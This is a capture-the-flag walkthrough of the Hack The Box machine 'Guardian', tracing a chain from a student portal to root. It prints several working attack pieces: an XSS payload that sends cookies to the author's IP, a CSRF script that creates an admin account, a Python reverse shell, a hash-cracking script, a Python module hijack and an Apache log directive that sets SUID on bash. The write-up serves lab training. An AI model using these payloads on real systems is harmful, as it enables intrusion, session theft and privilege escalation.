Guardian — Hack The Box Walkthrough
Spoiler warning: this walkthrough includes compromise details.
Attack path · Spoilers — expand to reveal
- Student Credentials
- Student Portal
- Stored XSS
- Teacher Session Hijacking
- CSRF
- Admin Account
- PHP Filter Chain RCE
- www-data
- Credential Discovery
- jamil
- Python Module Hijacking
- mark
- Apache Abuse
- root
Guardian starts with a student portal and ends with a root shell. Along the way, I worked through a malicious Excel workbook, a CSRF request, PHP filter chains, and two local privilege escalations. Quite a busy day on campus.
Enumeration
Section titled “Enumeration”Nmap Scan
Section titled “Nmap Scan”I started with a service scan to identify the exposed ports and application services.
nmap -sC -sV -Pn -vv 10.10.11.84 -oA scan
sudo nano /etc/hostsVirtual Hosts
Section titled “Virtual Hosts”I added guardian.htb and portal.guardian.htb to /etc/hosts, both pointing to 10.10.11.84, so I could browse the public site and student portal by hostname.



Student Portal
Section titled “Student Portal”The public site’s Help page links to a PDF with information about accessing the student portal.

The PDF lists student IDs that can be used as login usernames.

I used one of those student IDs with the password provided in the PDF to log in at portal.guardian.htb. First lesson: read the help page. Sometimes it helps a little too much.

Stored XSS via XLSX
Section titled “Stored XSS via XLSX”The student dashboard shows one upcoming assignment.

The assignment submission form accepts an Excel workbook (.xlsx).

Crafting the XSS Workbook
Section titled “Crafting the XSS Workbook”The workbook’s contents are rendered during review. I placed an HTML payload in a cell to test whether that content would execute JavaScript in the reviewer’s browser.
I used TreeGrid’s online spreadsheet editor to prepare the workbook and insert the following payload. Replace 10.10.14.94 with your VPN IP.

<img src="x" onerror="fetch('http://10.10.14.94:8000/?c=' + document.cookie)">
Note: In my testing, the workbook needed a second sheet (
Sheet2) alongside the sheet containing the payload. Without it, the attempt did not work.
Capture the Teacher Session
Section titled “Capture the Teacher Session”Save the workbook as exploit.xlsx.

I started an HTTP listener on port 8000, then uploaded the workbook. When the reviewer opened it, the payload sent the browser’s accessible cookies to my listener.

I opened the browser’s developer tools and replaced the portal session cookie with the captured value.

After refreshing the page, I had access to Sammy’s teacher dashboard. My academic promotion was suspiciously quick.

CSRF to Admin
Section titled “CSRF to Admin”As Sammy, inspect the lecturer area for the notice feature.

I checked the notice creation page and its review workflow.

Create an Admin Account
Section titled “Create an Admin Account”The notice feature lets a teacher submit a link for admin review. I used that workflow to deliver an HTML page that submits an account-creation request from the admin’s browser.
The script below fetches a CSRF token using the teacher session and embeds it in the form. In this attempt, the admin endpoint accepted that token in the resulting request.
import requestsimport re
# 1. Target URL to get CSRF tokentoken_url = "http://portal.guardian.htb/lecturer/notices/create.php"
# 2. Your session cookie (replace with a valid one for testing)cookies = { "PHPSESSID": "71jbfrc7ogkmiqrn4ovdj59kas"}
# 3. Fetch the pageresp = requests.get(token_url, cookies=cookies)html = resp.text
# 4. Extract CSRF token using regexmatch = re.search(r'name="csrf_token" value="([a-f0-9]+)"', html)if not match: print("CSRF token not found!") exit()
csrf_token = match.group(1)print("CSRF token found:", csrf_token)
# 5. Generate malicious HTML with the tokencsrf_html = f"""<!DOCTYPE html><html> <body> <form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST"> <input type="hidden" name="username" value="dollarboysushil" /> <input type="hidden" name="password" value="dollarboysushil" /> <input type="hidden" name="full_name" value="dollarboysushil" /> <input type="hidden" name="email" value="dbs@dollarboysushil.com" /> <input type="hidden" name="dob" value="2000-01-01" /> <input type="hidden" name="address" value="dollarboysushil" /> <input type="hidden" name="user_role" value="admin" /> <input type="hidden" name="csrf_token" value="{csrf_token}"/> </form>
<script> setTimeout(() => {{ document.getElementById("csrfForm").submit(); console.log("Form submitted automatically!"); }}, 2000); </script> </body></html>"""
# 6. Save to a filewith open("csrf.html", "w") as f: f.write(csrf_html)
print("csrf.html generated! Host it and send the link to the admin.")Replace the example PHPSESSID with the teacher session cookie captured earlier, then run the script to generate csrf.html.


I hosted csrf.html on my HTTP server and submitted its URL through the notice review workflow.

After the review, I logged out and signed in with the account created by the form: dollarboysushil:dollarboysushil.

The new account opened the administrator dashboard.

PHP Filter Chain RCE
Section titled “PHP Filter Chain RCE”From the admin panel, I found a parameter that could be used with a PHP filter-chain payload to execute code.
I used Synacktiv’s PHP filter-chain generator to build the payload. The screenshots below show the generated chain and where I submitted it.

I submitted the generated filter chain through the vulnerable parameter and checked the command output.


With command execution confirmed, I moved on to a reverse shell.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.94",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'Replace the IP and port with your listener’s address. Start the listener before sending the command.
URL encoded:
python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.94%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22bash%22%29%27
The connection landed as www-data.

Database Credentials
Section titled “Database Credentials”I found MySQL credentials in config.php and used them to connect to guardiandb.
Command:
mysql -u root -pGu4rd14n_un1_1s_th3_b3st guardiandb

The database contained usernames and password hashes, giving me a starting point for testing credential reuse against the local accounts.
Crack Password Hashes
Section titled “Crack Password Hashes”Hashcat ran into memory limits on my machine, so I used a small Python script to test the wordlist instead. It computes SHA256(password + salt) and compares the result against the extracted hashes. My hardware had declined the group assignment.
#!/usr/bin/env python3import hashlibimport sys
salt = "8Sb)tM1vs1SS"target_hashes = { "c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250": None, "8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e": None, "c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2": None, "694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6": None}
print("Cracking 4 hashes with salt: 8Sb)tM1vs1SS")print("Target hashes:", list(target_hashes.keys()))
with open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore') as f: for i, password in enumerate(f): password = password.strip() # SHA256(password + salt) test_hash = hashlib.sha256((password + salt).encode()).hexdigest()
if test_hash in target_hashes: print(f"FOUND: Password '{password}' matches hash {test_hash}") target_hashes[test_hash] = password
# Progress indicator if i % 10000 == 0: print(f"Tried {i} passwords...")
# Stop if all hashes are cracked if all(target_hashes.values()): break
print("\nResults:")for hash_val, password in target_hashes.items(): if password: print(f"{hash_val}:{salt} -> {password}") else: print(f"{hash_val}:{salt} -> NOT CRACKED")Command:
chmod +x crack.pypython3 crack.py
User: jamil
Section titled “User: jamil”The home directory contains four local user accounts.

I tried the recovered password copperhouse56 with su jamil. It worked, giving me a shell as jamil and access to user.txt.

Privilege Escalation: jamil to mark
Section titled “Privilege Escalation: jamil to mark”Running sudo -l as jamil showed that I could execute a utilities script as mark.


The script imports utils/status.py, which was writable by jamil. I appended a shell command to that module so it would execute when the utilities script imported it.
Command:
echo 'import os; os.system("/bin/bash")' >> /opt/scripts/utilities/utils/status.pyI then ran the permitted script as mark:
sudo -u mark /opt/scripts/utilities/utilities.py system-statusThe imported module executed my command, opening a shell as mark. I checked sudo -l again to find the next escalation path.


Privilege Escalation: mark to root
Section titled “Privilege Escalation: mark to root”Mark’s sudo permissions allowed me to run safeapache2ctl with a custom configuration. I placed the following piped ErrorLog directive in /home/mark/confs/file.conf:
ErrorLog "|/bin/bash -c 'chmod +s /bin/bash'"I then launched the wrapper with that configuration:
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.confThe piped log command was intended to set the SUID bit on /bin/bash. I checked its permissions:
ls -l /bin/bash
With the SUID bit set, I launched Bash with -p to preserve the effective user ID:
/bin/bash -pThat gave me a root shell. Guardian’s final guard turned out to be an Apache log directive.

Takeaways
Section titled “Takeaways”The interesting part of Guardian was how the steps connected: a student upload exposed a teacher session, the review workflow led to an admin account, and application access became a local shell. From there, a writable Python module and Apache’s piped logging provided the remaining privilege escalations.
My main lessons were to inspect document rendering, check how CSRF tokens are validated across roles, test recovered credentials against local users, and follow the dependencies of scripts allowed through sudo. The entry point was a spreadsheet; the impact went well beyond homework.